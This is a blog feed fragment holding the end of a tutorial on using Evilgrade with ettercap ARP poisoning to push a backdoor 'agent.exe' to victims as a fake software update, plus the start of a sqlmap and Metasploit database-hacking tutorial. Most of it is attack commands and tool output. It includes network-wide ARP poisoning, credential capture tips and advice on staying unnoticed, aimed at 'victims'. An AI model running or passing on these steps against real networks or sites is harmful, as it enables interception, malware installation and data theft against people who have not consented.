| Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;| Default&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Description&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+------------------+--------------+---------------------------------------------------------------------+&lt;br /&gt;
| DNSEnable&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;| Enable DNS Server ( handle virtual request on modules ) |&lt;br /&gt;
| DNSAnswerIp | 192.168.1.2 | Resolve VHost to ip&amp;nbsp; )&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| DNSPort&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 53&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Listen Name Server port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| debug&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Debug mode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Webserver listening port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;
| sslport&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 443&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | Webserver SSL listening port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
'-------------------+--------------+---------------------------------------------------------------------'&lt;br /&gt;
&lt;br /&gt;
Starting, stopping and checking the status of Evilgrade is equally as easy. You simply issue "start", "stop", or ":restart" to do the obvious, and you can check the status of things by issuing the "status" command.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NOTE: the "status" command will get information regarding the webserver&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and DNS server status (running or not) as well as any victim details)&lt;br /&gt;
&lt;br /&gt;
Command: evilgrade&amp;gt;start&lt;br /&gt;
evilgrade&amp;gt;start&lt;br /&gt;
...&lt;br /&gt;
evilgrade&amp;gt;&lt;br /&gt;
[18/5/2011:15:34:4] - [WEBSERVER] - Webserver ready. Waiting for connections ...&lt;br /&gt;
evilgrade&amp;gt;&lt;br /&gt;
[18/5/2011:15:34:4] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...&lt;br /&gt;
evilgrade&amp;gt;show status&lt;br /&gt;
Webserver (pid 666) already running&lt;br /&gt;
Users status:&lt;br /&gt;
============&lt;br /&gt;
.------------------------------------------------------------------------------------------------------------.&lt;br /&gt;
| Client&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| Module&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;Status&amp;nbsp; | Md5,Cmd,File&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+-----------&amp;nbsp; ----+----------------------+---------+------------------------------------------------------+&lt;br /&gt;
| 192.168.1.25&amp;nbsp;&amp;nbsp; | modules::ccleaner |&amp;nbsp; send&amp;nbsp;&amp;nbsp;&amp;nbsp; | MD5-Hash-Value,'',"./agent/agent.exe"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
'------------------+-----------------------+--------+-------------------------------------------------------'&lt;br /&gt;
evilgrade&amp;gt;stop&lt;br /&gt;
Stopping WEBSERVER&amp;nbsp; [OK]&lt;br /&gt;
Stopping DNSSERVER&amp;nbsp; [OK]&lt;br /&gt;
&lt;br /&gt;
OK so that is all there is to setting up Evilgrade! From here you just need to pull off a Man-in-the-Middle (MiTM) attack so you can start redirecting DNS traffic and then restart&amp;nbsp;Evilgrade so&amp;nbsp;it can work its magic. I suggest leaving Evilgrade running in one terminal window and opening another window up to pull off the MiTM attack. The MiTM attack has been well documented using all sorts of tools. Please read up on the various methods that can be used for this portion of the tutorial as there are many ways to go about doing this, but&amp;nbsp;I will&amp;nbsp;cover one basic example using Ettercap to redirect traffic on a specific target so you can complete our testing of this method without leaving you hanging.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Getting MiTM attack working so Evilgrade can do its thing - MiniTutorial:&lt;/strong&gt;Open new terminal in BackTrack5 and type the following: &lt;br /&gt;
Command: ifconfig&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Take note of your IP address, default gateway and interface name&lt;br /&gt;
Command: nmap -sP 10.10.10.*&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This will perform a quick pin sweep of the network, you can change&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the 10.10.10.* to fit your need based on ifconfig results above (i.e. 192.168.1.*)&lt;br /&gt;
Command: echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;This ensures packet forwarding is turned on&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Confirm: cat /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Result: should return a&amp;nbsp;one (1) to indicate port forwarding is&amp;nbsp;enabled&lt;br /&gt;
Command: ettercap -T -Q -M ARP -i eth0 /victim-ip/ /gateway-ip/ -l capturefile -P autoadd&lt;br /&gt;
&amp;nbsp;-T starts ettercap in text mode&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: You could envoke ettercap with the -G argument only, to open the GTK GUI&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for ettercap and then pick and choose the plugins to use from the GUI (noobs)&lt;br /&gt;
&amp;nbsp;-Q will make ettercap run in Quiet mode, and not print raw packets in the terminal window&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NOTE: if you want to see everything or to look cool just omit this flag&lt;br /&gt;
&amp;nbsp;-M starts MiTM attack mode&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NOTE: You can combine all of the above into one argument to simplify&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; things '-TQM' or separated individually&lt;br /&gt;
&amp;nbsp;ARP is the type of poisoning we want to perform while in MiTM mode&lt;br /&gt;
&amp;nbsp;-l capturefile&amp;nbsp;tells ettercap to log&amp;nbsp;captured data&amp;nbsp;into file called "capturefile"&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: you can cahnge the capture file name to anything you want&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PRO-TIP: you can add more code to have this filtered on the fly for logins&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and credentials with minimal effort or you can sort through it offline later&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; with Wireshark or your capture analysis tool of choice. It is also possible&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to add SSLstrip to the equation but you will need to figure that out as I&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dont have time to cover that here...&lt;br /&gt;
&amp;nbsp;-P autoadd - is a way to tell ettercap to use the plugin autoadd, which as it sounds is a plugin that automaticlly adds hosts to the list after it is started in case any come online after it is initially started&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: you can add other plugins here or leave out entirely, it is up to you&lt;br /&gt;
&amp;nbsp;-i eth0 specifies the network interface &lt;br /&gt;
&amp;nbsp;/victim-ip/ is the ip address we want to affect, or in this case arp poison&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: you can leave simply as "//" to indicate you want to perform the task&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; on the ENTIRE network&lt;br /&gt;
&amp;nbsp;/gateway-ip/ is the ip address we want to use to essentially impersonate&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: this does not have to be the gateway, but in most cases this will have the best results.&lt;br /&gt;
&lt;br /&gt;
EX: ettercap -TQM ARP // // -P autoadd&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This ARP poisins the whole network,&amp;nbsp;adding any new hosts that show up late to our&amp;nbsp;party ;)&lt;br /&gt;
&lt;br /&gt;
If you fill in the /"victim-ip"/ and /"gateway-ip"/ and run this command it will start ARP poisoning all hosts on the network that you have identified. Once this is done Evilgrade will sart picking up the traffic and begin forging secret agents to pawn your victims. At this point just sit back and watch the sessions stack up in your multi-handler terminal (or wherever you view your connections for your RAT/Backdoor). You should remember to use the proper method to close ettercap so it properly restores the routing tables on the victims when you are done (just hit "q" in terminal screen while it is running and give it a second to shutdown)...you dont have to but it will go less noticed if you do.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Personal Note:&lt;/strong&gt; I find it's also nice to save the iptables for future use. I suggest saving them before and reloading them once you are done and have ended all the stuff you have running;&lt;br /&gt;
Command: iptables-save &amp;lt;filename&amp;gt;&lt;br /&gt;
Command: echo 0 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Confirm: cat /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Result: should return a zero (0) to indicate port forwarding is turned off&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PRO_TIP: If you simply want to permanently set this to forward, you can&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;edit the /etc/sysctl.conf file to uncomment the forwarding line&lt;br /&gt;
Command: iptables-restore &amp;lt;filename&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;General Note:&lt;/strong&gt; If you are performing this or any of the other steps in this tutorial on another Linux distro you may have to run "sudo" in front of all the commands to work, not in issue in Backtrack as you run as root by default. You can download ettercap using apt-get (apt-get install ettercap) if you need that as well. &lt;br /&gt;
&lt;br /&gt;
I hope you have enjoyed this tutorial as I know I had fun documenting things to share with you, and remember to always be aware of your surroundings before you start clicking away and allowing things to do what they please. Do not put all your faith in a company name, and take off your auto-updaters or dont allow them to update unless you are on a secure network that you know is safe. Enjoy and stay tuned for more to come when I return in a few weeks....&lt;br /&gt;
Later,&lt;br /&gt;
H.R.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-5213415480444261358?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_spW4yl4piscpkaFw9FEnpvGUkw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_spW4yl4piscpkaFw9FEnpvGUkw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_spW4yl4piscpkaFw9FEnpvGUkw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_spW4yl4piscpkaFw9FEnpvGUkw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/Gnh4PrCFXHI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/5213415480444261358/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/05/silently-owning-network-with-isr.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/5213415480444261358?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/5213415480444261358?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/Gnh4PrCFXHI/silently-owning-network-with-isr.html" title="SILENTLY Owning the Network with ISR EVILGRADE" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/05/silently-owning-network-with-isr.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUIEQnY4cCp7ImA9WhZWFkQ.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-6495090393668047101</id><published>2011-05-17T23:38:00.000-05:00</published><updated>2011-05-17T23:38:23.838-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-17T23:38:23.838-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="DB" /><category scheme="http://www.blogger.com/atom/ns#" term="Database Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection Tools" /><category scheme="http://www.blogger.com/atom/ns#" term="Database Pawnage" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="framework3" /><category scheme="http://www.blogger.com/atom/ns#" term="MSF" /><category scheme="http://www.blogger.com/atom/ns#" term="METASPLOIT" /><category scheme="http://www.blogger.com/atom/ns#" term="Owning" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Hacking" /><title>Owning the Database with SQLMAP and METASPLOIT</title><content type="html">Last time we were using SQLMAP from Windows platform and could not realize its full potential so today I will be trying to teach you how to use it from Linux platform to take advantage of all that it has to offer. We will begin by booting up our favorite Linux distro of choice; I will be using BackTrack 4R2 for purposes of this tutorial - it is not required but helps because everything is mostly setup already (mostly Metasploit). Once you have your networking services started and a confirmed working version of Metasploit installed you should have everything how you want it for a stable work environment we will begin by downloading the latest copy of SQLMAP to our system. You can find it online at:&amp;nbsp;&lt;a href="http://sqlmap.sourceforge.net/"&gt;http://sqlmap.sourceforge.net/&lt;/a&gt; or you can check it out from the terminal by using the following commands:&lt;br /&gt;
&lt;br /&gt;
EX: svn checkout&amp;nbsp;&lt;a href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap"&gt;https://svn.sqlmap.org/sqlmap/trunk/sqlmap&lt;/a&gt; sqlmap-dev &lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: if using svn you may need to accept certificate to download, this is safe so&lt;/div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; you shouldnt have to worry...&lt;br /&gt;
&lt;br /&gt;
Once it is done downloading you will have a new folder on your Desktop called "sqlmap-dev", and inside is what we will be using for the remainder of this tutorial - "sqlmap.py". In order to confirm it is properly setup lets just issue a quick command to take a peek at what we will be using today:&lt;br /&gt;
&lt;br /&gt;
EX: python sqlmap.py --help&lt;br /&gt;
&lt;br /&gt;
This will display all of the options available for SQLMAP. I will not go into too much details on the basics as they were covered in my first tutorial. I will be picking up where we left off in the previous tutorial, quick recap:&lt;br /&gt;
&lt;br /&gt;
Command: python sqlmap.py -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; -f -b --current-user --current-db --dbs --is-dba &lt;br /&gt;
&lt;div&gt;Target Site: &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Current User:&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="mailto:'user@localhost'"&gt;'user@localhost'&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Current Database: database1&lt;/div&gt;&lt;div&gt;System Users [1]: &lt;a href="mailto:'user'@'localhost'"&gt;'user'@'localhost'&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Current User is DBA:&amp;nbsp;&amp;nbsp;&amp;nbsp; 'False'&lt;/div&gt;&lt;div&gt;Available Databases [5]:&lt;/div&gt;&lt;div&gt;&amp;nbsp;[*] information_schema&lt;/div&gt;&lt;div&gt;&amp;nbsp;[*] database1&lt;/div&gt;&lt;div&gt;&amp;nbsp;[*] database2&lt;/div&gt;&lt;div&gt;&amp;nbsp;[*] database3&lt;/div&gt;&lt;div&gt;&amp;nbsp;[*] database4&lt;/div&gt;&lt;div&gt;Command: python sqlmap.py -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; --tables -D database1&lt;/div&gt;&lt;div&gt;Database: database1&lt;/div&gt;&lt;div&gt;[13 tables]&lt;/div&gt;&lt;div&gt;+-----------------+&lt;/div&gt;&lt;div&gt;| access&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| action&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| ad&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| adcriteria&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| adminhelp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| 